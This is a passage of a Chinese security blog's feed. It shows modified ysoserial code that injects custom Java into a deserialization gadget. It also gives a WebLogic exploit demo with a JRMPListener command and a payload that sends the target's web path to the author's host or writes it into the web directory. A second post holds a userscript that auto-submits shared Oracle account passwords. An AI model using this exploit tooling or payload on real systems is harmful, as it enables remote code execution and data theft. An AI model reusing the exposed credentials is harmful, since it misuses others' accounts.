pool.get(StubTransletPayload.class.getName());</span><br><span class="line"> <span class="comment">// run command in static initializer</span></span><br><span class="line"> <span class="comment">// <span class="doctag">TODO:</span> could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">////////////////////////////////////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"> <span class="comment">// Code by c0ny1</span></span><br><span class="line"> <span class="comment">// email: [email protected]</span></span><br><span class="line"> <span class="comment">// date: 2019-04-29</span></span><br><span class="line"> <span class="comment">// From: https://www.cnblogs.com/0201zcr/p/5009975.html</span></span><br><span class="line"> <span class="comment">////////////////////////////////////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"> String cmd = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">if</span>(command.startsWith(<span class="string">"code:"</span>)) {</span><br><span class="line"> cmd = command.substring(<span class="number">5</span>);</span><br><span class="line"> }<span class="keyword">else</span> <span class="keyword">if</span>(command.startsWith(<span class="string">"codebase64:"</span>)){</span><br><span class="line"> <span class="keyword">byte</span>[] decode = <span class="keyword">new</span> BASE64Decoder().decodeBuffer(command.substring(<span class="number">11</span>));</span><br><span class="line"> cmd = <span class="keyword">new</span> String(decode);</span><br><span class="line"> cmd = <span class="keyword">new</span> URLDecoder().decode(cmd);</span><br><span class="line"> }<span class="keyword">else</span> <span class="keyword">if</span>(command.startsWith(<span class="string">"codefile:"</span>)){</span><br><span class="line"> String codefile = command.substring(<span class="number">9</span>);</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> File file = <span class="keyword">new</span> File(codefile);</span><br><span class="line"> <span class="keyword">if</span>(file.exists()){</span><br><span class="line"> FileReader reader = <span class="keyword">new</span> FileReader(file);</span><br><span class="line"> BufferedReader br = <span class="keyword">new</span> BufferedReader(reader);</span><br><span class="line"> StringBuffer sb = <span class="keyword">new</span> StringBuffer(<span class="string">""</span>);</span><br><span class="line"> String line = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">while</span> ((line = br.readLine()) != <span class="keyword">null</span>) {</span><br><span class="line"> sb.append(line);</span><br><span class="line"> sb.append(<span class="string">"\r\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> cmd = sb.toString();</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> System.err.println(String.format(<span class="string">"[-] %s is not exists!"</span>,codefile));</span><br><span class="line"> System.exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">catch</span> (IOException e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> cmd = <span class="string">"java.lang.Runtime.getRuntime().exec(\""</span> +</span><br><span class="line"> command.replaceAll(<span class="string">"\\\\"</span>, <span class="string">"\\\\\\\\"</span>).replaceAll(<span class="string">"\""</span>, <span class="string">"\\\""</span>) +</span><br><span class="line"> <span class="string">"\");"</span>;</span><br><span class="line"> }</span><br><span class="line"> System.err.println(<span class="string">"----------------------------------Java code start----------------------------------"</span>);</span><br><span class="line"> System.err.println(cmd);</span><br><span class="line"> System.err.println(<span class="string">"-----------------------------------Java code end-----------------------------------"</span>);</span><br><span class="line"> <span class="comment">////////////////////////////////////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> clazz.makeClassInitializer().insertAfter(cmd);</span><br><span class="line"> <span class="comment">// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)</span></span><br><span class="line"> clazz.setName(<span class="string">"ysoserial.Pwner"</span> + System.nanoTime());</span><br><span class="line"> CtClass superC = pool.get(abstTranslet.getName());</span><br><span class="line"> clazz.setSuperclass(superC);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">final</span> <span class="keyword">byte</span>[] classBytes = clazz.toBytecode();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// inject class bytes into instance</span></span><br><span class="line"> Reflections.setFieldValue(templates, <span class="string">"_bytecodes"</span>, <span class="keyword">new</span> <span class="keyword">byte</span>[][] {</span><br><span class="line"> classBytes, ClassFiles.classAsBytes(Foo.class)</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> <span class="comment">// required to make TemplatesImpl happy</span></span><br><span class="line"> Reflections.setFieldValue(templates, <span class="string">"_name"</span>, <span class="string">"Pwnr"</span>);</span><br><span class="line"> Reflections.setFieldValue(templates, <span class="string">"_tfactory"</span>, transFactory.newInstance());</span><br><span class="line"> <span class="keyword">return</span> templates;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>修改完代码后,我们重新将其打包为ysoserial-0.0.6.1-custom-code-exec.jar,就可以使用可指定自定义代码的ysoserial了。需要我编译好的jar,请公众号后台回复“ysoserial可执行自定义代码版本”获取。</p><p>注意:只有以下payload支持指定支持任意代码执行,其他paylaod需要手工修改其代码,因为它们没有调用我们修改的<code>Gadgets.createTemplatesImpl</code>方法。</p><p><img src="/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/call.png" alt="调用了createTemplatesImpl方法的payload"></p><h2 id="0x04-案例"><a href="#0x04-案例" class="headerlink" title="0x04 案例"></a>0x04 案例</h2><p>下面举一个“不痛不痒”的例子,来展现其高自由度。</p><p>假设我们有个需求是这样的,获取目标系统的web物理路径,如果目标能访问我们服务器就把信息提交到服务器的web服务上。如果不能,就把信息写到目标自己的web目录下。如果你使用命令在实现,是比较费劲的,但是用代码就轻而易举!</p><p><strong>custiom-code.java</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">String HOST = <span class="string">"http://192.168.149.1:1665"</span>;</span><br><span class="line">String WEB_PATH = System.getProperty(<span class="string">"user.dir"</span>);</span><br><span class="line"></span><br><span class="line">String str_url = HOST + <span class="string">"/?info="</span> + WEB_PATH;</span><br><span class="line"><span class="keyword">try</span>{</span><br><span class="line"> <span class="comment">//若目标能访问我们的服务器,则发送信息到服务器上</span></span><br><span class="line"> java.net.URL url = <span class="keyword">new</span> java.net.URL(str_url);</span><br><span class="line"> java.net.URLConnection conn = url.openConnection();</span><br><span class="line"> conn.connect();</span><br><span class="line"> conn.getContent();</span><br><span class="line">}<span class="keyword">catch</span>(Exception e){</span><br><span class="line"> <span class="comment">//若目标不能访问我们的服务器,则将信息写到自己的web目录下info.log文件中</span></span><br><span class="line"> String webPath = WEB_PATH + <span class="string">"/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/info.log"</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> java.io.FileOutputStream f1 = <span class="keyword">new</span> java.io.FileOutputStream(webPath);</span><br><span class="line"> f1.write(WEB_PATH.getBytes());</span><br><span class="line"> f1.close();</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e1) {</span><br><span class="line"> e1.printStackTrace();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里我利用CNVD-C-2019-48814这个漏洞,让远程服务器(192.168.149.142)加载我本机rmi服务(192.168.149.1:1664),我的rmi服务指定执行的代码,是我们编写好的custom-code.java。具体命令如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp ysoserial-0.0.6.1-custom-code-exec.jar ysoserial.exploit.JRMPListener 1664 Jdk7u21 "codefile:custom-code.java"</span><br></pre></td></tr></table></figure><p>通过测试发现,在本机启动web服务(92.168.149.1:1665),且目标可访问时,可成功接收信息。</p><p><img src="/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/server_info.png" alt="服务器成功接收到信息"></p><p>然后我把服务器web服务停止了,目标自然无法访问。结果在目标系统的web目录下成功生成了文件,保存着我们要采集的信息。</p><p><img src="/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/txt_info.png" alt="目标web目录下成功生成包含信息的文件"></p><p>从任意命令执行变成任意代码执行,在我看来危害增大了不少。在命令执行getshell受阻时,如何通过代码执行突破呢,到这里懂的人自然懂了。</p><h2 id="0x05-参考文章"><a href="#0x05-参考文章" class="headerlink" title="0x05 参考文章"></a>0x05 参考文章</h2><ul><li><a href="https://blog.csdn.net/fnmsd/article/details/79534877" target="_blank" rel="noopener">修改ysoserial使其支持生成代码执行Payload</a></li></ul>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
</entry>
<entry>
<title>编写油猴脚本,实现自动登录下载Oracle产品</title>
<link href="/articles/2019/oracle-download-auto-login-tampermonkey-script/"/>
<url>/articles/2019/oracle-download-auto-login-tampermonkey-script/</url>
<content type="html"><![CDATA[<p>研究Java漏洞的爱好者,不免要经常去Oracle官网下载各种版本的Java JDK,Weblogic等。我们都知道,Oracle相关产品是需要登录才能下载的。这就意味着你要注册个账号,并且每次下载都要登录,这很繁琐!空闲时简单写了个自动化油猴脚本,无需人工注册和登录即可下载。</p><h2 id="0x01-收集公开账号密码"><a href="#0x01-收集公开账号密码" class="headerlink" title="0x01 收集公开账号密码"></a>0x01 收集公开账号密码</h2><p>网上有很多大佬使用自己邮箱注册了Oracle的账号,并公开了密码,方便大家下载使用,在此感谢他们无私奉献。以下是我收集到的(可成功登录):</p><blockquote><p><a href="mailto:[email protected]" target="_blank" rel="noopener">[email protected]</a><br>OracleTest1234</p><p><a href="mailto:[email protected]" target="_blank" rel="noopener">[email protected]</a><br>LR4ever.1314</p><p><a href="mailto:[email protected]" target="_blank" rel="noopener">[email protected]</a><br>Oracle123</p></blockquote><h2 id="0x02-编写油猴脚本"><a href="#0x02-编写油猴脚本" class="headerlink" title="0x02 编写油猴脚本"></a>0x02 编写油猴脚本</h2><p>油猴脚本的功能是在<code>https://login.oracle.com/mysso/signon.jsp</code>页面,自动完成以下操作。将我们上面收集到的账号密码,填写到Oracle单点登录页面的表单中,最后点击登录,完成下载。具体实现我在源码中已经注释得很清楚了。</p><p>我设置了一个变量<code>is_auto_login</code>,默认值为<code>true</code>,就是默认会自动输入账号密码并点击登录。如果你想让脚本只自动填写账号密码不自动点登录,请将其设置<code>false</code>!</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ==UserScript==</span></span><br><span class="line"><span class="comment">// @name Oracle download auto login</span></span><br><span class="line"><span class="comment">// @namespace http://gv7.me</span></span><br><span class="line"><span class="comment">// @version 0.1</span></span><br><span class="line"><span class="comment">// @description 自动登录Oracle官网,方便下载Oracle的各种产品,比如:Java JDK,Weblogic等</span></span><br><span class="line"><span class="comment">// @author c0ny1</span></span><br><span class="line"><span class="comment">// @match https://login.oracle.com/mysso/signon.jsp</span></span><br><span class="line"><span class="comment">// @grant none</span></span><br><span class="line"><span class="comment">// ==/UserScript==</span></span><br><span class="line"></span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"><span class="meta"> 'use strict'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//是否自动点击登录</span></span><br><span class="line"> <span class="keyword">var</span> is_auto_login = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//获取随机数</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">random</span>(<span class="params">lower, upper</span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">Math</span>.floor(<span class="built_in">Math</span>.random() * (upper - lower)) + lower;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//通过标签名,属性名和属性值来定位元素</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">getTargetByTAV</span>(<span class="params">t_tag,t_attr,t_value</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> target = <span class="built_in">document</span>.getElementsByTagName(t_tag);</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i <target.length;i++){</span><br><span class="line"> <span class="keyword">if</span>(target[i].getAttribute(t_attr) == t_value){</span><br><span class="line"> <span class="keyword">return</span> target[i];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//存储账号密码</span></span><br><span class="line"> <span class="keyword">var</span> users = <span class="keyword">new</span> <span class="built_in">Array</span>(<span class="number">3</span>);</span><br><span class="line"> <span class="keyword">var</span> passs = <span class="keyword">new</span> <span class="built_in">Array</span>(<span class="number">3</span>);</span><br><span class="line"> users[<span class="number">0</span>] = <span class="string">"[email protected]"</span>;</span><br><span class="line"> passs[<span class="number">0</span>] = <span class="string">"OracleTest1234"</span>;</span><br><span class="line"> users[<span class="number">1</span>] = <span class="string">"[email protected]"</span>;</span><br><span class="line"> passs[<span class="number">1</span>] = <span class="string">"LR4ever.1314"</span>;</span><br><span class="line"> users[<span class="number">2</span>] = <span class="string">"[email protected]"</span>;</span><br><span class="line"> passs[<span class="number">2</span>] = <span class="string">"Oracle123"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//随机获取一个账号密码,并将其填入登录表单中</span></span><br><span class="line"> <span class="keyword">var</span> sso_username = <span class="built_in">document</span>.getElementById(<span class="string">"sso_username"</span>);</span><br><span class="line"> <span class="keyword">var</span> sso_password = <span class="built_in">document</span>.getElementById(<span class="string">"ssopassword"</span>);</span><br><span class="line"> <span class="keyword">var</span> i = random(<span class="number">0</span>,users.length - <span class="number">1</span>);</span><br><span class="line"> sso_username.value = users[i];</span><br><span class="line"> sso_password.value = passs[i];</span><br><span class="line"></span><br><span class="line"> <span class="comment">//是否自动点击登录</span></span><br><span class="line"> <span class="keyword">if</span>(is_auto_login){</span><br><span class="line"> <span class="keyword">var</span> btn_login = getTargetByTAV(<span class="string">"input"</span>,<span class="string">"tabindex"</span>,<span class="number">3</span>);</span><br><span class="line"> btn_login.click();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">})();</span><br></pre></td></tr></table></figure><h2 id="0x03-脚本效果演示"><a href="#0x03-脚本效果演示" class="headerlink" title="0x03 脚本效果演示"></a>0x03 脚本效果演示</h2><p><img src="/articles/2019/oracle-download-auto-login-tampermonkey-script/oracle-download-auto-login.gif" alt="效果演示"></p><p>脚本已经上传Greasy Fork,需要的自行安装。</p><p><a href="https://greasyfork.org/zh-CN/scripts/382627-oracle-download-auto-login" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/382627-oracle-download-auto-login</a></p>]]></content>
</entry>
<entry>
<title>过滤器作用范围/和/*引发的安全问题</title>
<link href="/articles/2019/security-raised-by-java-filter-scope-missetting/"/>
<url>/articles/2019/security-raised-by-java-filter-scope-missetting/</url>
<content type="html"><![CDATA[<div id="hexo-blog-encrypt" data-wpm="抱歉, 这个密码看着不太对, 请再试试." data-whm="抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容."> <div class="hbe-input-container"> <input type="password" id="hbePass" placeholder="" /> <label for="hbePass">您好, 这里需要密码,文章优先在公众号分享.</label> <div class="bottom-line"></div> </div> <script id="hbeData" type="hbeData" data-hmacdigest="f805ba35cf6448c228669b32a6f9458e982241cf0ef64dbfaeecd046b59cb5d8">977839a231f437d38335f38ddc2d2ffca97358dd99a58f5fdaa93c4f3d7a620af95d8281e322154fc261bda8ee863d9194b5b3ba680f64549f7a98e877464a17e84c64eeea3a35190e69a1a15376619ccfb5fa350e6a04bbcc5ac17cfc941331b1bd5713281ba41aaa32b2fe73e1915600f944f817276264f6e6376df2577bafdbc468964ca22a06e918ee0f034c14df29631d00ffc7bb395b46074ccc6d018dc2af723ec14438e3bf4a0001fa8f07ecf235cd15300d5dc3e945da23a659d7df993fee3e2bb45c6b5613d84ecc9a9233dc9e5433dfe4e9eac66fc661b4d7f90a54412b02dfb16a967c6faf22f87f0576bf11c30bb4ef1b44789d1cfe72ae55ebdbbf39e280c53570d7422f47c20e944442ff39680253185450368b9a80fd10ecada92f0ffb845775c553afde98626a8fe09e6f7879ae7a125d3479a1f89f7e56f769c45c6b7fe794980ab0ddcad9daa16d09b7f2aceead253de2c9cb8011caca40bd9a7c3e2261084f40ca15e29909106d47c53d2a02e9e0b4dd83536cfe025784862f6ea16eb8b7c8c4e459f588810163f8f189fb7619fee7e365aa1483c5b19885c323a75a834bf768e73cd9f15b11da83c8e5bb65e699bd34972863dd9a68cc04c400050c9cd101a4c7375420a17f4f68270977191710ba7a7495c67c0a0a48a28915ac9d658bf1f73df48fb8b21cb5f15d455dd6d3ebeb7eb59710eab1e8eab8ffc79477ccd8542635bc9859313ec1ac0572d73de8d59b5b62e2ae59d2800235d855e86128541cd8ea07969c6a66b03de210024da9b1bb8f3bcc93d08a1f87b10b553ab44bd22722512aef484fc52f0be30cca67b240dbba91d3bacc2f7a5f4d42d97742796e7b3adceb3d520f475fecf8245886280852257ff613c2364d9e76ce3d40bb7d3991191e31fc63ed986ca01baceb7301e51673521e2d99cf2da1e2d3de4375c9e8727248352057dd6c9bc5824cd6ee6e2dc797fb8db82f31e1d7eaba4f7b6d18c6dc2b20b0d42c2f901331a3896b373871bbc2ccb8e950731742dc56e4a3310f3665b9006aa6a0cddb7b4a752e0d0fe2efb7b5cf103e34c4623efcde3f990257e5e581fda6c5f98396e2ac9993dbef6b8ec78078f9f4031ee7036109e1ee7ee595162509fd0d280b3dcc64b268760c684580872318190a566ff5434ea1e44e5ab357536a67ec562ae0d9d94712f58ea2eecb4b0a677412c26fbcab618b8c1242563fbb578aad6ddd47715d0632b287233104fa80e7db124a52eafde445f195a65ebe1674033045b879ed4cc575e46f0b1d0c0e0e6421f18faeef4ac3b2abb7a1a18eaf74832491176bf584a8309853aa71195e6f9e23e532fe2daaf984588497a1b33fd455036292266305e1f4e0339c8a2d774bd81449e38ab5c72f2a68cc8416a2bf651609d2fad82f27cf72f6cdc325d56bf1321da0ac023e1ac1ef65a9b93e519e54a06515d990831aaa87be27606d884509ada90956093fa4ad78de973fc4c47570b3d6f633e89c08f0aae646dab2098a9b7b76418665369c3641cd17806ae514af33d19723a21f7c6bcbe921b0a1f838b5cd7c3687b5935d814b98f4c15717d72acdf2d81ba313363602ce9d5f4357efe8f70201fd934c7c44e6ea44eca6368dccc3481e3680c79b92b11c444d392bfc1fa62e867f3fd23f1a0074925edff9fb0ed19bb89c3d1e07515d3032ff27db301e9b6cc9419cb72a07f96a9b72df8b07f3835f9c2c03f271700fdacc8c29916d66f925a3d703680c0c8e5c670457589d0597ace502637f39d27fe5716e3e09bff1c0dd260907031a05fe290e71425e1b886408b6a08dd651a79654e43163bb23991bb6718035f7079d5f68f97722d76c6c1ba948f80fa7e1336bd30ac61ace0e0640f4b67442e0c10e6494058f4654a23fb29e65df9afd6688cd27e538d696697c24c012bfc6ed5eef13db5f61302353a9ede7b3bc540f7071286313dc83d83be711cbbe35f3e1d547e1aa75ebf96eb4ab6df36d3e8992e503011138a105c6d042d68227d32e27aa26f7d09b6aeb553ff5a2a1f582c7e7ee4ea5df75c9ab48fd2ab30aa79727182d8329c00cf769fc9f444e9662f60f574adf0fd3c8a37caac5ffcaf808f3c6cea0cf0664213ca1debf9a82cd3c574892117d09ee99033dffffced0d042ee7168f321529f37da77c96a38017a0474aab71e4924a763a173f47f5fa18df1bbb8429fa147c9bd5c74c76d16f7d4b6b2a06d2f451649e18717a1de5eed9762625dc1681fac41c8dc8c7d16b2461d10388031e0e86c92333da6d33007e442a9e05c2da085fe7ee0a5d34f5111266986444b92519fd445fc2f9e8171f4d469e3a0104b68e0a34285de44550f09e37748472d197ac3075422039c2baab4f807d401a96f5616da7c6943fc1da172921ad734405e4bd0475036d77d655bef28245eaba95fe7c9dda20169b7055702fcd839acc4d812f04d0b6d24f09360221c82e2070fdd6fe715b1a24a157112ddb95a16d88e63aa8651aa7b245a4058e66e7c630880f35f8f6f0e860e15aeb7756fabb237b320cf219f5cb5cee9824531ecf432266171a34738010d617f9ec861439f49e60972ebe9e8522bd04ffb10c30eb32d7d16ade16dbfff698a066dd79d4724b09ebc638d4446322dd977eb285b07241e761d3b8660917d4d882495e6aa7360968b0ac9e5cdf0ce04499eca9df5c90c140188c41c56e8da4988aff7586c614d910c5b51d48d4310cf14de876db41901a65a51d98fb798e2ca5596bbed4d142530dda4d22447cf8f26df46612a8bccda39c72f3efef42ea0c948aa11bd285db3e2eb30acf355dddfd3c6b8f4caac11edd42861b96877f62bcbd6f6dd7061a39ceb962a14d1291f8e764745582818684daa695e617a64ca5f60553fce3abb7b8dc4e07d70eed2dc391b88baaae4c81110bf6ef4cd6106b13a697841567f2b79ac5da8a13f6d311b045a9cdcb1bcaa27eeea673aaca9265e545c23199d22e0a5ef61453815dbbcbbf0485dcec0c7f9821eba52091ade22e2f2d4acacf791cc28a804e041c9b9580cf01f66ce5b27f6a727bc18fc06872b241823c28e1c2a685d23c9c5b6714f1bd1b82221739bb124a99d4ddc45ad59a5ca6082ea85d6d3c78945d415c361ef8b6c8360b591c259ef0432c8bfd24a8a79c5f482de66f90e5b1fc8603819a29d3f9a6e0bc21f894ff9188bbd52d6f34949d504255f711971aff9789d9940afd33bd5fb64ad014d31fa365b009098ec8c192bc8cfa45ee910574a285b1564f0741014b1270032c462a91473c78af0ca0c7cedf4de36482533a061f4e8bba552f5447abd97dabdebcdb20f0fa0657134f21b33980931a3c71a4042f43554154ebd9e15d19ee50abb64fbcd183287373793ca11b73e2c9d6e2770a841479b8bc2839a31abccd2bda91424bde697bbdf74689ac398659d5c045a6804410b098321d299664f4e4aa8f2a394dd81ef7e769c8a139a5a80f2b49e15c1cf69fd670462c780be98f50e1a7c03a40561342709f272152b755a6869e0026b845d29fdfb7ecbae6d23456839c86ecb1929f53b6280317612ea010eae9945c9790060e00075940ffb64f361c87938f10c293876d19b2d03c3282f1b7b82ac9d7a28c8492772453b50233114d938e0e7a4bddfb8c67457d591570410d95c1498bdbe0708fac013d7ae33c7f8a211743059ec80559246738b302a6afd5c7c2d37fcc1fd9c2203d66eef5279484bd6951aa28df7eb5a23acad41ff103dd95dddf748358f57654f6b09aaed98dd5acabb9bf26da1e3db98b62f0e4e78291d3287bff993e16d8e64e934fa8d7f88453958194d8a22809274df1bc7e7b72008502b6be5b703957afe8d144cc2d49a2357f60e728072bca667973dd9d7cd3efdbecbfdfa131ae1be7cb2ad6a41199762dd28cc12cac1574efb0e5e4df54414413086123fb7487c3362d14bc7dde867c0ea0196db8dee3c48acaf4ca2923a0653cc44855aeeddcb33848e5b0dc3f8c732d677d16e27007891772bfa8d623d78fcf9d9e15ba93d8268242586a301bad69e31120e64d2714788d614c472a04a8ba95f5cc0b13c8b1e1569143d3a52499fd085039e131f797cdf05566c4a1863cb91236e2946e15e745135f0357408359444ca4a842c6f58920e168b043fc0e9f1bf61490550c7472492244ffb43d2860a0d6122f0925e8fa53d5d56c736724d738da5c0d8e840c7de7da8ed7fddffc50e4d70acca32c1e2ac22ff295afdaa0664ddec8b3a4d274c67bdc84c95ed48fdb78001a53a7f117a466c7333b149a83bad4a96091751cd91a2a7c8d1a2a3a7c5cf90185bbf22508d651a6ca7e9624572bea663de56d97c2d929758aa61c3387d81ae522f4bf155d141879b82d15e1a0f3db3114bb67fc8affada5eae299f058988b8104c27c919d9d307d2f8f6e55c5f995f2f86d4ec696a95b446542d36e611ce03278dac01418d78e3c50e6c2f21b37d166125ddc906836b74ad8fe308a8de334a00e23b732d3029ddd4c4a652de7e951288f2df2b9a7c1f068f946d2759fcfe528292b8f192c8007c8272015d965d8dc436088249f595a4f5ef0ec3df6c3df5a1298b97c6847e76f1f36b0cfa8403c90b4c2d2e8975a8d1702959c4f2ee23a47c5ee7b86db35e1a8e173978fbdadb8364933d0f68a8961137810009c18d58f142bdea0d7949d61656001a5cf48521dbb385158f166aa3f436eb1fcfb38b18a0c229f2edd22208024166cc3c99849b46baec7b8724b0d4c7e295a0f99f9f3b835483f6754bced0a3c1e0be961b5381e644a02017ce14e17cd35bc001ad6d25ffe2813732dae6b3b421993d8cfcc1bde6471a528c8a9d8899f49ed5267593b8746cb63ec4cd8755839ed8e131c83d41e7b2fe60f28a226ea3c0f3b698a7766b738378868ae6b26f286be2faa89349205ae11478dc7d425369e89f9e57ca7ed933844892ff37066ad846c4dacd2389572a80bba82543b7bfe37ec2f3f73b149cb09fad73e8a7899c586ded2330a8ecb7d96d0f6a772963e1f160c46bb9516f756b43c8db81d308f5ed05ae407e5055615dacae728f33e63f1233985a45b594640b06af66bc7fbf2ffd929f0963cd6ea0747482222c7726bbfb83195cf266ea805d7d9612ef4f52fc8bdc6cb02a55c8cbb0d72ebe2e60d7084def0966f165ba31a5c1a3e086fa7d8fe16d87d1894119d526dbf1cabde90711eb32dae31a16bd583b08b2650aa6a8ef401bad1bbf22d72152fcbc5486fbe3f10924e98f0bdc80fca4c8dba07e559f7c1b1614c865b8dd9f603ed66e528945fe69d75b9a41cef4afeec99549af6d3a8a0a56d6dcac76ca73b873f30769ab101326d66c6dbeb334b2da596578f0c99749842bd78651023312d87617c0a6f611bf8c582fb5205189c67b844bff86df172927d0e161c56af9974909a8da7e2af4d093b45452ad9b2f9052fd9c402136b225f6d26d0257673eed92a549f122fa8a43f4ce203aadfc2dbeb810445dc6aa2f75d3c9d1e95314ab3fa814dac4d8cbf9679ec83693e541468ce337f8286fee058da5254f4fd81503b4165e503d8e48c45bed71147ae8f6afd72e792fad16cbeea91e1a473a402a70b8b59720cb56cdc56143facc833cf3d42112fa154ee141d65d32d21db7aaec2dbfc5c9acf721f7be20b21d9a38c3c8f79c062dd89a56b11ba0b1f9bebb037d77ab73de10d65d219d56cce091977bcba6c4ac4ec42415c9463720acfaf2b0756f0aea367b369ecf8cbf3585b2dd906029610d2e4894c13c87132467f40b0d53cec80fef245c67941c8ef6e4964bfb11ceddc90b3a16ef57d1ef73c466619328b742902f573116b252b147075813525a09b06566b64e8b50283a830ebb07b7ce111b0289b809188e75430ff18d6bade15375c6d27e3f5cb675b011bcd49054f1ccaf639b13b46d242786551de6391794b08b7a06675e6834f0683a74d24e71d2ffc30a1be280441f76d4e8cf12346905d0834056e077c9fa3d3c14e0916c639e2e1cca7cecc1c4c5b8dbb6f3ba366c633768dc08c13fa18bbb05bd18ad72cbc196ac7d9cb7ccc3ba43064a582c7f62a7df6651cd501dfe57e4677bfe6523f7a2f0dbd3e8d22bef28762798db539ae1ef251220609066a1b054c4c2bb48dc39cbe6e87a34e72bfabef5cc877a8428da424aaa5f8a4847ae3863ca60034e1edfb4321f2637e0a659dfa7923dc34e3df574640506ba875450dd0ba472ca9d908ae64aff51d9e0cbdf2f55550041ea74916041388ecb9afb5de1b0f1396726bfdca301a8a96342d92832edc0c70276a7e8b7da8136ac62a3117c8050ce1e316c4c1e6b94e4da33494d6ac908a0a0eb75c21d06f78f228c16c7713ac5bd166558533c1552d71709effbc1b2748ed1e91cdc7e7401c08edc2ef745f83a0d93c8508f45b5c411731aaa345bec1b66f834de5a688975dc3523729458fef16a35214f7de568ef50b5124c378405d02d2c11d0a42aadadc30c14d23d3708e44bfdb9e2ddc5ab8d4e9406848859aaa7f320b528359e5345bc39a9482d69cafed27211a71e965308ccbc338399a7cd8828b1</script></div><script src="/lib/blog-encrypt.js"></script><link href="/css/blog-encrypt.css" rel="stylesheet" type="text/css">]]></content>
<categories>
<category> 代码审计 </category>
</categories>
</entry>
<entry>
<title>上传包可“绕过”Java过滤器的检查?</title>
<link href="/articles/2019/why-can-multipart-post-bypass-java-filter/"/>
<url>/articles/2019/why-can-multipart-post-bypass-java-filter/</url>
